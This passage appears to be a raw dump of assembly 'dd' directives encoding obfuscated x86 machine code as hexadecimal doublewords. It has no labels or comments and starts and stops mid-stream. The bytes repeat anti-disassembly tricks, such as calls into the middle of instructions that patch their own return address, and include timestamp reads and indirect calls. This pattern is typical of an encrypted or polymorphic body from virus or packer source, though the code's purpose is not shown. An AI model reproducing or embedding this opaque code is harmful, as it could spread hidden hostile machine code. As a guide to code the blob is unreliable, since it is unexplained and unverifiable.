6890Fh, 85890000h, 62B185Dh, 0B5B0B5FFh, 0BD03062Eh dd 62B29DDh, 5E195FFh, 9589062Bh, 62B0ACDh, 0D88B6653h dd 0BB66505Bh, 3489C04Ch, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 396EAB5Eh dd 4991916h, 0B5B0B5FFh, 6A062Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0AF9117C3h, 1B159529h dd 95FF062Bh, 62B1569h, 7ED38166h, 9DBD8322h, 62B1Dh, 54840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 9C869EC3h, 0E4CAB0D4h, 60A4AB5Ch, 1521858Bh dd 5061062Bh, 0CE8h, 0B973D900h, 170D90D2h, 0AA98E5FEh dd 0AEBF60A9h, 667CBB50h, 61DB43BAh, 2434895Bh, 80D9D89h dd 0B5FF062Bh, 62EB5B0h, 5E9h, 91AF7000h, 95FFA8D7h, 62B2E11h dd 35B9BD0Bh, 0BF66062Bh, 0B5FF38EEh, 62EB5B0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 83C35242h, 8B66DCA4h dd 11E8FEh, 0AA870000h, 0C78002FEh, 0C57F02F7h, 60CB0C33h dd 33E6CABAh, 2B2F59BDh, 95FF5F06h, 62B240Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 21C35545h, 76A1E0Dh dd 54577B0Ah, 29BD83F3h, 2062B2Eh, 42840Fh, 810F0000h dd 2, 8B50FE8Bh, 2B2661BDh, 858B5B06h, 62B2B39h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9DC35040h, 0B9952993h dd 0C6062B35h, 9D8B0000h, 62B2895h, 92585C7h, 62Bh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E9E4F7C3h, 0FFFFF2CFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0D0C35141h, 80A04096h, 0F1B83635h, 6A0753BFh dd 0F9C18B41h, 2FC1858Dh, 0BF0F062Bh, 5090F5FEh, 90D98B66h dd 0A4790BBBh, 66006A60h, 0BA46DF81h, 1DB589h, 6A062Bh dd 8DDABF0Fh, 2FA1EB85h, 219D8906h, 83062B05h, 6A05C0h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0AEF8ECC3h, 50DC8A47h, 310F5250h, 17D7BBFh, 89585A72h dd 9D8B2404h, 62B2E6Dh, 0A68CBF66h, 8956006Ah, 2B118D95h dd 6A5B06h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 26C35242h, 0BD8BE1F6h, 62B0C0Dh, 34E195FFh, 6A062Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 7342D2C3h, 6FEF9FF8h, 8B1B18CEh, 2B1ADD9Dh, 7E906h dd 0E5120000h, 0B76F8EA4h, 0AA8D8DB5h, 81062EA6h, 8575DEEFh dd 81BD097Fh, 0FF062B0Ah, 835F57D1h, 2B0A01BDh, 850F0106h dd 47h, 11A5BD0Bh, 26A062Bh, 5E9h, 648A0100h, 0B390D122h dd 8B9050D4h, 0E195FFDAh, 6A062B05h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C9A3C356h dd 3FCB1988h, 3185897Fh, 0E9062B26h, 0E5Fh, 0E8h, 0ED815D00h dd 62FA1F5h, 8BFBBF0Fh, 2B2FDD9Dh, 3A858D06h, 29062E99h dd 2B170195h, 6870F06h, 8B000000h, 2B2979BDh, 0BF665006h dd 4894AACh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 1EB3CD8Ch, 35FF64h, 0FC000000h, 0DE8h dd 6DE0AB00h, 7BAEE44Ch, 93204B0Bh, 5BF8CC03h, 258964h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 2739C357h, 0FB18589h, 85FF062Bh dd 62B1E0Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 78C35343h, 0FCF380EBh, 6AFF6Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C03F46C3h dd 92B06C45h, 0DB80363Ah, 0FDB5FF2Ah, 8B062B0Dh, 3D9D23DFh dd 0FF062B2Dh, 2B11A995h, 11CE906h, 0F520000h, 58Bh, 0AB4BB00h dd 2B5B7CB4h, 2B1AB19Dh, 0F00B006h, 681h, 65BD8B00h, 0E6062B1Bh dd 8B516070h, 2B299185h dd 0CE8A5E06h, 5171E461h, 5BFABF0Fh, 830F613Ch, 0DEh, 325DBD8Bh dd 0B60F062Bh, 0E99D8BC8h, 0F062B0Bh, 8Bh, 6BA00h, 0C18B0000h dd 6E9h, 6A37F500h, 0C1CC7356h, 850F04E8h, 6, 1619529h dd 0F766062Bh, 0F88B56E2h, 81C82B5Bh, 0FD322FCFh, 81D18B12h dd 0C15E76EBh, 0AE900h, 0B5890000h, 62B216Dh, 0D599BB66h dd 1F4D858Bh, 0BD8B062Bh, 62B0081h, 8907C083h, 2B15AD9Dh dd 0C08306h, 0E192DCBFh, 0FD03B69h, 1683h, 0B5896000h dd 62B0B51h, 1251B589h, 0E961062Bh, 4Ah, 8BF8B70Fh, 2B17C98Dh dd 88F0F06h, 52000000h, 1AE18529h, 0BF5B062Bh, 32598202h dd 0F01E183h, 2584h, 2DBD0300h, 83062B1Ch, 2B17C9A5h, 2BF5FE06h dd 2B055DBDh, 4D958906h, 8B062B1Fh, 2B0A319Dh, 0E906h dd 0B58D0000h, 62F0A13h, 1C799D23h, 9589062Bh, 62B2D09h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BB66FAC3h, 95FFB345h, 62B2945h, 1BD99D8Bh dd 54B9062Bh, 29000008h, 2B1C5DBDh, 0FCE18306h, 6AFCF9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 897C52C3h, 2B0D799Dh, 0E9958906h, 2B062B0Bh, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 81D6963Eh, 0A4B4A4E7h, 6E964h, 0D4040000h, 95FDA398h dd 0B70FD22Bh, 0C233ADFBh, 0D003E8D1h, 7504E983h, 52006AF4h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 87CEE46Ch, 40B67C5Ch, 31609580h, 2B2659BDh, 95316106h dd 62B06E1h, 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 96711B1Fh, 2B01B589h dd 0B501062Bh, 62B296Dh, 0EE1958Bh, 0BD09062Bh, 62B0999h dd 21E18D8Bh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 819E9EC3h, 697043D3h, 0FE809h, 0D3380000h dd 9D5369F3h, 6FF92FBFh, 88826828h, 0C7816688h, 505F40F2h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0A3E1326Ah, 890Fh, 0BD8B0000h, 62B1961h, 5A9BD83h, 0F00062Bh dd 9884h, 890F6000h, 6, 1F25B589h, 14E9062Bh, 0F1000000h dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 61368563h dd 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0F38166CDh, 6656A504h, 5F02E8BBh dd 4EA18D8Dh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 643805C3h, 0AB022BD8h, 12E98C52h dd 1B000000h, 6E69247Fh, 4736AA0Fh, 59A5112Fh, 0E5202D67h dd 0B3E1FF8Ah, 0E5BD8358h, 62B2Bh, 52A840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 1D6024C3h, 0BD831FB7h, 62B2BE5h, 18840F01h, 0E8000005h dd 7, 0D81CABB4h, 3FC8E73h, 2B356DBDh, 8DBB5B06h, 833C73C5h dd 2B2BE5BDh, 860F0306h, 4BDh, 35619D8Bh, 0BD8B062Bh, 62B027Dh dd 0D9BF0F60h, 8BD98C66h, 2B2A859Dh, 4E18006h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D7C35646h, 9C28637Ch dd 0BE151CD6h, 0FC90AFCh, 14684h, 13E800h, 0B2E90000h dd 1525EACh, 77271214h, 2B8E2895h, 1F686A8h, 18B0FD0h dd 0F5000000h, 0B5858B5Fh, 8B062B1Eh, 2B1AAD9Dh, 8D853306h dd 0F062B25h, 281h, 502CB700h, 489D88Bh, 0CF816624h, 6A8B51h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ADC35141h dd 0E84B8A1Eh, 4, 1F03FFh, 0A947BF50h, 448B0147h, 5B510424h dd 0E860008Bh, 13h, 0B61C09A9h, 1E11E6A0h, 68857546h, 0EDA83839h dd 8A687135h, 0D98A59C8h, 24448961h, 0DE804h, 6C260000h dd 94039B8Bh, 0FB5A44D6h, 66393F35h, 585BFB8Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 2EC35141h, 0F5C1BB13h dd 95FF4FBDh, 62B091Dh, 2FC59D2Bh, 8589062Bh, 62EB5B0h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D3C35747h dd 0F22F124Ch, 8B55904Ah, 2B246D9Dh, 2B7E906h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0C53638C3h, 0F96E534h, 68Ah, 9958900h, 8B062B19h, 2EB5A885h dd 8B666006h, 38E0FCEh, 66000000h, 0C761DA8Bh, 1800h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0A9C47159h, 834BB66h, 1C419D8Bh, 0DA8B062Bh, 0B5ACB58Bh dd 6A062Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0B68F13C3h, 858BFB8Bh, 62B16C5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4BC35545h, 0EB4C7A7h dd 67A25589h, 89A8D780h, 0B9BD0906h, 8B062B0Ch, 2B1EB585h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 74959BE5h, 668B892Ch, 10E9h, 76325100h dd 4A27EF47h, 0DAE7D9B3h, 0F581F3EBh, 0E38166B7h, 4689172Dh dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0F9B8EE6Ah, 14E9h, 0C0485200h, 0E70F41B4h dd 0F486C660h, 7E62E16h, 783869B6h, 0A0BF50B8h, 8950ECC6h dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 6C5C57C3h, 37FF4D79h, 1BD2B74h, 0FF062B1Dh dd 2EB5A8B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 810F6012h, 18h, 12E8h, 7740A300h dd 0C0167EB4h, 9208C5F2h, 2EE2B5E2h, 5A5088BAh, 28D0Fh dd 0D88B0000h, 59746861h, 0B3BF9A42h, 8153A5FFh, 0AA8B2404h dd 6A65DCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0D8A70C3h, 19890FF9h, 0E8000000h, 0Dh, 0C3904882h dd 4F072581h, 18536E65h, 259D8BA6h, 5F062B0Ch, 945EF781h dd 858D5D36h, 62EB5B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 1BC35646h, 40A815DEh, 74F3F082h, 11E9h dd 35E67C00h, 199CA1BCh, 0B0CA94F7h, 0C07D0E20h, 5090A393h dd 0F7C3E7BBh, 6A9017h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0DF6B3CC3h, 91D95FFh, 6A062Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 7F3031C3h, 0A830F23h, 0E9000000h, 5, 89441BA4h, 6A61F3h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0F6ED3BC3h, 0BA1F745Eh, 8B66236Fh, 0E585C7D9h, 3062B2Bh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h dd 47000000h, 163BC357h, 13E8h, 0B4515500h, 22B52220h dd 4CF594F8h, 0A931FC8Ch, 708B33CAh, 0BD835FF9h, 62EB5B0h dd 2E840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0FD93C352h, 0BBFFF05h dd 2B0B199Dh, 1EE906h, 0BF0F0000h, 0C3050FEh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 11E9h, 1734BF00h dd 0FA616DDFh, 0E44D7C29h, 1541FA49h, 6A8781h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 6AFF4AC3h, 8E86Eh, 70EC0000h, 2FF0AE0Bh, 8A0F9720h dd 6, 8B99D8Bh, 0F5B062Bh, 48Ch, 0B4BB6600h, 0E5BD835Ch dd 3062B2Bh, 3DE850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0C9991C3h, 83B383C9h dd 2EB5B0BDh, 840F0006h, 3B0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 61C35747h, 0FFD1EC22h, 2EB5B0B5h dd 0F5BD8906h, 0FF062B01h, 2B017595h, 0FE8B6606h, 0B5A4B58Bh dd 8589062Eh, 62B172Dh, 106C7h, 6A0001h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 2A5271C3h dd 6840F4Ch, 89000000h, 2B050985h, 7E89606h, 0C2000000h dd 230DE401h, 0EE816F2h, 6D000000h, 39985A8Bh, 0D9415608h dd 0E1CF4535h, 5F616096h, 0E856505Bh, 0Ch, 866EEEC8h, 1ECCB5ECh dd 0EA27CF5Bh, 5FD98B66h, 0BF66965Fh, 0B5FF06C2h, 62EB5B0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0DC35646h dd 0D4B99D7Dh, 93D0E77Fh, 68A0Fh, 9D8B0000h, 62B15ADh dd 155595FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 4981FC3h, 52BFBA9Dh, 8B03F824h dd 2EB5A4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 155A86B4h, 99CCFECCh, 0B82CE381h dd 858B738Eh, 62B1AD9h, 1E059589h, 8689062Bh, 0C4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C35747h, 54CB00FFh dd 619D8B47h, 8B062B34h, 2B0EE195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 859529DAh dd 8B062B0Eh, 2B0D05BDh, 4C28306h, 205089F5h, 0EB816651h dd 8D5B5576h, 2ECA4E85h, 8D952906h, 89062B30h, 0B886h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0B37AA0BAh, 0F58D8989h, 6A062B00h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B310A1E8h, 0A6BF663Fh, 0B0B5FFDCh, 66062EB5h, 0FF0181BBh dd 2B05E195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0F61C49EEh, 99AF88CFh, 5000F780h dd 0DFD5D5BBh, 24348900h, 2FB9BD09h, 0B5FF062Bh, 62EB5B0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8C35040h dd 0B17AAE35h, 0D69BD31h, 95FF062Bh, 62B1569h, 0BD83FB8Bh dd 62B1D9Dh, 1F840F00h, 57000000h, 3485BD8Bh, 965B062Bh dd 50F88B66h, 830Fh, 89960000h, 2B020D85h, 0EB816606h dd 0B5FF8F02h, 62EB5B0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 2FC35545h, 3F4EED63h, 0E9A02498h, 5 dd 0E1ACCBB8h, 840F5395h, 6, 1851B529h, 0FF5F062Bh, 2B2E1195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 27EC5838h, 0B5FF95A1h, 62EB5B0h, 0D95FFF9h dd 6A062B24h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 5882C357h, 0FEBF0F76h, 2E29BD83h dd 0F02062Bh, 1A84h, 1F0B300h, 2B0B1995h, 39858B06h, 0F062B2Bh dd 0C6DEBFh, 3D9D2300h, 0C7062B33h, 2B092585h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 5E852D7h, 93000000h, 81F4E7E3h, 261DBD29h, 5B5F062Bh dd 0FFF29BE9h, 6AC18BFFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0BC1C351h, 0F8B500C9h dd 0CE9h, 0FC396400h, 0A92AB12Ch, 995E555Dh, 9D858983h dd 8D062B0Dh, 2B2FC185h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0FA99770Bh, 9D8BDF31h dd 62B2FFDh, 0EC80BB66h, 0F88B6650h, 51240489h, 839B531h dd 0E95F062Bh, 12h, 403D9135h, 3D740481h, 21B46085h, 0C3EDF65Ah dd 6A2CCCh, 2A7EBB66h, 810Fh, 6A0000h, 0D563C781h, 858D031Ch dd 62FB225h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 39C35141h, 0AD28DA12h, 8B6002DDh, 61E1B2D7h, 7E9h dd 58568100h, 0C1B440EAh, 6A05C083h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0CF0CC357h dd 89F98B66h, 2B187185h, 0BE95006h, 56000000h, 13A8F47h dd 0B063842Ch, 4892723h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 37E98D63h, 0DFF4352Eh dd 0BB664E60h, 6A5715h, 58C0Fh, 81660000h, 6AD251F3h, 0CD9D3300h dd 8B062B1Bh, 2B16799Dh, 0E195FF06h, 66062B34h, 8DFCFA8Bh dd 2EA6AA8Dh, 0D88B6606h, 3353D1FFh, 2B2C11BDh, 0BD835F06h dd 62B0A01h, 86850F01h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 70CBC357h dd 0E9232810h, 0Fh, 98AEC347h, 5A745B2Dh, 48FB14Bh, 6A9B656Ah dd 0FD858902h, 0F062B00h, 680h, 0D59D2B00h, 50062B11h dd 2B1FBF66h, 23240489h, 2B11F59Dh, 0E195FF06h, 6A062B05h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0ED7BC351h, 937F6036h, 0F94DE870h, 9C0BB9BFh dd 0E30E964h, 0E80000h, 5D000000h, 0B22FED81h, 80F5062Fh dd 0B58964E7h, 62B2DFDh, 993A858Dh, 0AE9062Eh, 87000000h dd 3528B2ADh, 2D1E06CEh, 13E85091h, 58000000h, 6C004A02h dd 626A8BDDh, 128FAF0Eh, 89E71EC0h, 0B6B786ECh, 2404895Fh dd 0C7D9BF66h, 35FF64h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BBFC353h dd 2B06119Dh, 0FE8B6606h, 258964h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FFFAC351h, 2B1E0D85h, 50D4BF06h, 0FF6A36F2h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 34C35343h, 81BF2F55h dd 0A98D8909h, 0FF062B19h, 2B1A95B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0F98A6804h, 11A995FFh, 6EE9062Bh, 8B000001h, 2B163D9Dh dd 6000B006h, 24E5B589h, 0DA8B062Bh, 8970E661h, 2B0AF595h dd 8971E406h, 2B269D85h, 0F613C06h, 14483h, 0B2C78100h dd 0F413C05h, 6060C8B6h, 118D958Bh, 8B0F062Bh, 0 dd 14E861h, 26AA0000h, 0D47E824Eh, 8A9D141Ah, 35C57108h dd 0C85101D9h, 0AE94B28h, 44000000h, 3D2493B3h, 93487BF5h dd 89615B6Bh, 2B162185h, 6BA06h, 0DE80000h, 2B000000h dd 8C52AB02h, 0DD17F20Ah, 0C866A7F4h, 0C1DB8166h, 0C18B5B5Ah dd 0E904E8C1h, 8, 760D89D6h, 0ECD303E8h, 1E2F766h, 2B0815BDh dd 66C82B06h, 0B87DCB81h, 0E9F8D18Bh, 3, 8B24D780h, 2B181D85h dd 0DB816606h, 9529E89Bh, 62B2491h, 8907C083h, 2B1C6595h dd 0C08306h, 14E9h, 0C5603C00h, 0FD6AACBEh, 0D3A5B3D6h dd 1B6BE8AEh, 96415DFDh, 0FD03B07h, 2783h, 0F99D8B00h dd 0E9062B21h, 69h, 38B0Fh, 0B70F0000h, 958B60DAh, 62B3031h dd 0E6D08060h, 0A05BD29h, 6161062Bh, 0D4D8D8Bh, 2360062Bh dd 2B29259Dh, 69BD8B06h, 61062B05h, 19559589h, 0E183062Bh dd 2A840F01h, 89000000h, 2B0EB19Dh, 4DA58306h, 0FE062B0Dh dd 163D9589h, 9589062Bh, 62B181Dh, 7E9h, 0AE10C600h, 7B8484EFh dd 0E9h, 0F1B58D00h, 8B062F13h, 2B26F59Dh, 6A006A06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 26DCC352h, 0E619CDD8h, 174DBD8Bh, 0BD8B062Bh, 62B16A5h dd 294595FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0EA3B47C3h, 8B6636C1h, 83CB9FAh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FB67AC3h, 684h, 0FCD38100h, 83766324h, 6AFCE1h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0AC862EC3h, 0A09E05D2h, 9D8B723Eh, 62B00B9h, 51006AFCh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 330CFB73h, 9B592125h, 6651F98Bh, 5FEF81h, 0B85Fh, 9D330000h dd 62B0B21h, 2D899589h, 0D22B062Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0FFC35343h, 69DADDB5h, 9ACFB8B4h dd 0C233ADACh, 0D003E8D1h, 7504E983h, 6E8F4h, 0D3100000h dd 10DFE46Bh, 496E381h, 0D5F24B8h, 88h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 86C35545h, 2915B93Ch dd 95899865h, 62B2A81h, 0EE1958Bh, 8B66062Bh, 0E18D8BF9h dd 6A062B21h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0AD67C356h, 0A0A62612h, 29518529h dd 0D780062Bh, 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 0BB58188Bh, 592B6F25h, 8E9h, 933B7E00h, 0BEB7524Ch dd 51006AAEh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 22679818h, 911F71C2h, 0BD835567h, 62B05A9h dd 97840F00h, 53000000h, 1619D29h, 665F062Bh, 426BEB81h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 9F5E638Ah, 2DBFAB35h, 0D1BD8B68h dd 66062B15h, 8D8DFA8Bh, 62B4EA1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 20C35646h, 62B660E5h, 991B589h dd 0B761062Bh, 6AE1FF26h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0EBD2C355h, 0C2AD972Bh dd 0F0B51C2h, 0BD83FBBFh, 62B2BE5h, 91840F00h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 3E41C357h, 706DBC21h, 8166E522h, 0BB68D5DFh dd 1D0A0856h, 2BE5BD83h, 0F01062Bh, 47284h, 0FDB58900h dd 83062B1Fh, 2B2BE5BDh, 860F0306h, 429h, 2161BD89h, 6A60062Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 2F78C353h, 6EE6D381h, 9589764Ah, 62B1091h dd 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 46E2C353h, 80DA7AC1h, 13E9A1AFh dd 61000000h, 0AF997295h, 649459A0h, 0ACD5B84h, 4A3C0989h dd 0E1803E3Ah, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0DABF0FBFh, 840FC90Ah dd 174h, 858BD98Ah, 62B1EB5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 8DC35747h, 0F367A75h, 1985h dd 14E900h, 5BF80000h, 0A8B04251h, 4581E395h, 3572B953h dd 0A465D20h, 8533EB74h, 62B258Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 8AC35747h, 0B70FF297h, 0F5090F9h dd 0A81h, 49BB6000h, 666BC3F3h, 9061DF8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1C35545h, 0E9F8E57Ch dd 0Ch, 28CA9C5Ch, 549ED13Dh, 42809728h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0F70187C3h, 0E914398Ch, 0Dh, 6DCDE4C1h, 0C1D3C657h dd 0D55D297Dh, 0CEB6606Fh, 2C11BD89h, 0E861062Bh, 4, 1F03FFh dd 50F88B66h, 448BF98Bh, 52500424h, 5BF98B53h, 0B752310Fh dd 585A5B03h, 0BB66008Bh, 44891C88h, 0BF660424h, 0E9586C34h dd 0Ah, 92C5BCB9h, 0FB87833Dh, 95FF5DE0h, 62B091Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CFC35343h, 122297FAh dd 778BBB66h, 0B5B08589h, 8960062Eh, 2B0B3D85h, 0BD8B6106h dd 62B0709h, 1ACE9h, 0FAB70F00h, 0B5A8858Bh, 8589062Eh dd 62B2401h, 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0A9896AC3h, 0EAAC3E32h dd 4BD78166h, 0ACB58B2Dh, 0F8062EB5h, 16C5858Bh, 0BD8B062Bh dd 62B1735h, 0B5890689h, 62B0D99h, 1EB5858Bh, 9D31062Bh dd 62B2119h, 6A044689h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0AC9CC353h, 0F322A20h dd 68Ch, 25858900h, 56062B1Eh, 0C01BD8Bh, 295F062Bh, 2B34AD85h dd 0DE8B5006h, 0E8243489h, 12h, 6E939D1Fh, 10685611h, 0BDBBD1F0h dd 5B122004h, 820F8583h, 0 dd 0A8B5FF5Bh, 0B7062EB5h, 4E86Eh, 3FF0000h, 11E8001Fh dd 0CC000000h, 5BB71547h, 651F65B6h, 8871557Eh, 0D13EF151h dd 5E9h, 0F956B000h, 505FB730h, 0F98B6652h, 24448B5Fh dd 8BFB8B04h, 0E9526000h, 10h, 0D70FB1CBh, 3E22CB86h, 7FD12C9Ch dd 5FD93DAh, 61DE8B5Ah, 4244489h, 665822B3h, 0C527F781h dd 0B5B0858Dh, 0BF60062Eh, 5BAB70C2h, 1C2D9589h, 9061062Bh dd 0FE9h, 665E5800h, 809CF281h, 4C526BD1h, 35616EE3h, 8E850h dd 0A8C90000h, 730F2D04h, 7E81417h, 0E2000000h, 5937CAF5h dd 92BF4521h, 5B256E50h, 6A905Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 2ED2F7C3h, 8B5E776Ah dd 0FBB4DFDh, 85h, 1D95FF00h, 81062B09h, 0D2A6ACEFh, 0BE96130h dd 52000000h, 0D67CFC69h, 4FC0E93Ch, 85C76484h, 62B2BE5h dd 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h dd 0F2C35141h, 0BD83D4F9h, 62EB5B0h, 2E840F00h, 89000000h dd 2B1A8D95h, 3EE906h, 6A0000h, 3E851h, 59200000h, 